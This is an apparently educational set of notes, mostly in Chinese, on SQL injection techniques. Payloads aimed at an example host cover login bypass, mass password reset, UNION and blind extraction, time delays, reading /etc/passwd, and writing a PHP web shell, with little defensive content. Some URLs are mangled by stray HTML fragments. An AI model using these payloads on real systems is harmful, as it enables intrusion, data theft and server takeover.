SQL注入攻擊和防御
什么是SQL注入?
簡單的例子, 對於一個購物網站,可以允許搜索,price小於某值的商品
這個值用戶是可以輸入的,比如,100
但是對於用戶,如果輸入,100' OR '1'='1
結果最終產生的sql,
SELECT * FROM ProductsTbl WHERE Price < '100.00' OR '1' = '1' ORDER BY ProductDescription;
這樣用戶可以獲取所有的商品信息
再看個例子,
對於用戶身份認證,需要輸入用戶名和密碼
但是如果用戶在密碼里面加入注入代碼,
SELECT userid FROM CMSUsers WHERE user = 'foo' AND password = 'password' OR '1' = '1';
這樣就一定可以通過驗證
注入類型
內聯 SQL 注入(Inline SQL Injection)
內聯注入是指向查詢注入一些SQL 代碼后,原來的查詢仍然會全部執行
字符串內聯注入
例子,
通過下面的sql,把users 表中所有密碼都更新為new_password,相當嚴重
UPDATE users SET password = 'new_password' WHERE username = 'Bob' and password = 'old_password' OR '1'='1'
數字值內聯注入
請注意,注入數字時不需要添加開始和結尾的單引號定界符。
SELECT * FROM messages WHERE uid=45 or 1=1 /* 永真條件 */ ORDER BY received;
由於注入了永真條件(or 1=1),因而數據庫將返回message 表中所有的行,而不僅僅是那些發送給某個用戶的行
終止式SQL 注入
終止式SQL 注入是指攻擊者在注入SQL 代碼時,通過將原查詢語句的剩余部分注釋掉,從而成功結束原來的查詢語句。
例子,
注入“' or 1=1;--”代碼
SELECT * FROM administrators WHERE username = '' or 1=1;-- ' AND password = '';
由於存在 1=1 永真條件,該語句將返回administrators 表中所有的行。
SELECT * FROM administrators WHERE username = 'admin'/*' AND password = '*/ '';
有時您會發現在某些場合無法使用雙連字符(—)。
在這種情況下,可以使用多行注釋(/* */)來替換SQL語句中原來的注釋。
該技術要求存在多個易受攻擊的參數,而且您要了解這些參數在SQL 語句中的位置。
執行多條語句
SQL Server 6.0 在其架構中引入了服務端游標,從而允許在同一連接句柄上執行包含多條語句的字符串。
所有6.0 之后的SQL Server 版本均支持該功能且允許執行下列語句:
SELECT foo FROM bar; SELECT foo2 FROM bar2;
MySQL 在4.1 及之后的版本中也引入了該功能,但它在默認情況下並不支持該功能。
要利用該技術,您首先需要能夠終止第一條語句,這樣您之后才可以連接任意的SQL 代碼。
例子,
http://www.victim.com/search.php?s=test';SELECT '<?php echo shell_ exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/victim.com/shell. php';--
時間延遲
時間延遲是一種很強大的技術,Web 服務器雖然可以隱藏錯誤或數據,但必須等待數據庫返回結果,因此可用它來確認是否存在SQL 注入。該技術尤其適合盲注。
Microsoft SQL Server 服務器包含一條向查詢引入延遲的內置命令:WAITFOR DELAY 'hours:minutes:seconds'。例如,向Victim 公司的Web 服務器發送下列請求,服務器的響應大概要花5 秒:
http://www.victim.com/basket.aspx?uid=45;waitfor delay '0:0:5';--
服務器響應中的延遲使我們確信我們正在向后台數據庫注入 SQL 代碼
MySQL 數據庫沒有與WAITFOR DELAY 等價的命令,但它可以使用執行時間很長的函數來引入延遲。BENCHMARK 函數是很好的選擇
mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));
注入攻擊方式
注入首先要確定后端具體是什么數據庫,具體是什么版本方法取決於是否blind,即web服務器是否會把后端的錯誤或返回值,返回給你
基本的方法就是用,不同數據庫的有差異的語法來驗證,
比如對於字符串的拼接,各個庫的語法是不一樣的
Extracting data through UNION statements
通過union可以增加自己的sql,獲取更多的信息
SELECT column-1,column-2,…,column-N FROM table-1 UNION SELECT column-1,column-2,…,column-N FROM table-2
這種方法的限制是,
• The two queries must return exactly the same number of columns.• The data in the corresponding columns of the two SELECT statements must be of the same (or at least compatible) types.
如何保證你的sql和原始sql具有相同的column個數和類型呢?
方法就是,你可以一個個試,
http://www.victim.com/products.asp?id=12+union+select+null-- http://www.victim.com/products.asp?id=12+union+select+null,null-- http://www.victim.com/products.asp?id=12+union+select+null,null,null--
一直試到不報錯為止
對於類型也是一樣,
http://www.victim.com/products.asp?id=12+union+select+‘test’,NULL,NULL,NULL http://www.victim.com/products.asp?id=12+union+select+NULL,‘test’,NULL,NULL
試到不報錯,說明類型匹配
例子,
For instance, the following URL would retrieve both the name of the current user and the name of the current database:
http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,db_name(),NULL
Using conditional statements
各種數據庫的條件語法,
Approach 1: Time-Based
On SQL Server, for instance, one of the first things you might want to know is whether the user performing the queries is the system administrator account, sa.
http://www.victim.com/products.asp?id=12;if+(system_user=‘sa’)+WAITFOR+DELAY+‘0:0:5’--
Approach 2: Error-Based
http://www.victim.com/products.asp?id=12/is_srvrolemember(‘sysadmin’)
如果后面的函數返回1,那么12/1,仍然等於12; 如果返回0,12/0明顯會有異常,這樣可以推斷后面函數的值
As an example, let’s see how we can use a CASE statement to check, in our e-commerce application, whether the current user is sa:
http://www.victim.com/products.asp?id=12/(case+when+(system_user=‘sa’)+then+1+else+0+end)
Approach 3: Content-Based
可以避免產生錯誤,
http://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+‘sa’)+then+1+else+0+end )
比如上面的case,
把除改成求余
Working with Strings
http://www.victim.com/search.asp?brand=acme
等同於,
http://www.victim.com/search.asp?brand=acm‘%2B’e 或http://www.victim.com/search.asp?brand=ac‘%2B’m‘%2B’e
因為%2B,轉義為+
也等同於,
http://www.victim.com/search.asp?brand=ac‘%2Bchar(109)%2B’e
下面可以這樣來注入,
http://www.victim.com/search.asp?brand=ac‘%2Bchar(108%2B(case+when+(system_user+=+‘sa’)+then +1+else+0+end)%2B’e
根據條件判斷,
http://www.victim.com/search.asp?brand=acme
或
http://www.victim.com/search.asp?brand=acle
上面的攻擊只能獲取1個bit的數據, 這種攻擊可以擴展成,對len的判斷,以用二分法確定len
+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end
繼而可以用二分法找出每個char,
+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end)
上一頁
Exploiting the operating system
Accessing the file system
讀,
The LOAD_FILE function also handles binary files transparently, which means that with a little bit of finesse we can use the function to read binary files from the remote host easily:
如,
‘ union select LOAD_FILE(‘/etc/passwd’)#
insert into foo set line=load_file(‘/tmp/temp.bin’);
寫,
aaa’ union select NULL,‘SensePost 2008\n’ into dumpfile ‘/tmp/sp.txt’#
Executing operating system commands
Exploiting second-order SQL injection
第一次攻擊請求,只是把攻擊腳本,寫入storage,如數據庫
第二次請求,會把攻擊腳本從庫中讀出,觸發執行,此時才會產生真正的攻擊
Finding Second-Order Vulnerabilities
Second-order SQL injection is more difficult to detect than first-order vulnerabilities, because your exploit is submitted in one request and executed in the application’s handling of a different request.